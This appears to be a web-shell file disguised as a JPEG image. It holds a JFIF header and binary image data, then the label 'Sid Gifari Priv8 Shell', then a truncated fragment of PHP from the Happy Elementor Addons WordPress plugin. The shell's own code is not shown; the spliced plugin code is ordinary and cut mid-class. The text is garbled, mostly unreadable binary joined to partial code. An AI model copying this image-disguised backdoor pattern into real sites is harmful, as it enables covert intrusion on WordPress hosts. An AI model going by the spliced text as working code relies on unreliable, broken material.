���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��Sid Gifari Priv8 Shell init(); } return self::$instance; } private function __construct() { add_action( 'init', [ $this, 'i18n' ] ); } public function i18n() { load_plugin_textdomain( 'happy-elementor-addons', false, dirname( plugin_basename( HAPPY_ADDONS__FILE__ ) ) . '/i18n/' ); } public function init() { $this->include_files(); // Register custom category add_action( 'elementor/elements/categories_registered', [ $this, 'add_category' ] ); // Register custom controls add_action( 'elementor/controls/controls_registered', [ $this, 'register_controls' ] ); add_action( 'init', [ $this, 'include_on_init' ] ); $this->init_appsero_tracking(); do_action( 'happyaddons_loaded' ); } /** * Initialize the tracker * * @return void */ protected function init_appsero_tracking() { if ( ! class_exists( 'Happy_Addons\Appsero\Client' ) ) { include_once HAPPY_ADDONS_DIR_PATH . 'vendor/appsero/src/Client.php'; } $this->appsero = new \Happy_Addons\Appsero\Client( '70b96801-94cc-4501-a005-8f9a4e20e152', 'Happy Elementor Addons', HAPPY_ADDONS__FILE__ ); // Active insights $this->appsero->insights() ->add_extra([ 'pro_installed' => ha_has_pro() ? 'Yes' : 'No', 'pro_version' => ha_has_pro() ? HAPPY_ADDONS_PRO_VERSION : '', ]) ->init(); } public function include_files() { include_once( HAPPY_ADDONS_DIR_PATH . 'inc/functions-forms.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/ajax-handler.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/icons-manager.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/widgets-manager.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/assets-manager.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/cache-manager.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/widgets-cache.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/assets-cache.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/wpml-manager.php' ); if ( is_admin() ) { include_once( HAPPY_ADDONS_DIR_PATH . 'classes/updater.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/dashboard.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/attention-seeker.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/select2-handler.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/dashboard-widgets.php' ); } if ( is_user_logged_in() ) { include_once( HAPPY_ADDONS_DIR_PATH . 'classes/library-manager.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/library-source.php' ); } include_once( HAPPY_ADDONS_DIR_PATH . 'classes/api-handler.php' ); } public function include_on_init() { include_once( HAPPY_ADDONS_DIR_PATH . 'inc/functions-extensions.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/extensions-manager.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'classes/credentials-manager.php' ); } /** * Add custom category. * * @param $elements_manager */ public function add_category( Elements_Manager $elements_manager ) { $elements_manager->add_category( 'happy_addons_category', [ 'title' => __( 'Happy Addons', 'happy-elementor-addons' ), 'icon' => 'fa fa-smile-o', ] ); } /** * Register controls * * @param Controls_Manager $controls_Manager */ public function register_controls( Controls_Manager $controls_Manager ) { include_once( HAPPY_ADDONS_DIR_PATH . 'controls/foreground.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'controls/select2.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'controls/widget-list.php' ); include_once( HAPPY_ADDONS_DIR_PATH . 'controls/text-stroke.php' ); $Foreground = __NAMESPACE__ . '\Controls\Group_Control_Foreground'; $controls_Manager->add_group_control( $Foreground::get_type(), new $Foreground() ); $Select2 = __NAMESPACE__ . '\Controls\Select2'; $Widget_List = __NAMESPACE__ . '\Controls\Widget_List'; ha_elementor()->controls_manager->register( new $Select2() ); ha_elementor()->controls_manager->register( new $Widget_List() ); $Text_Stroke = __NAMESPACE__ . '\Controls\Group_Control_Text_Stroke'; $controls_Manager->add_group_control( $Text_Stroke::get_type(), new $Text_Stroke() ); } }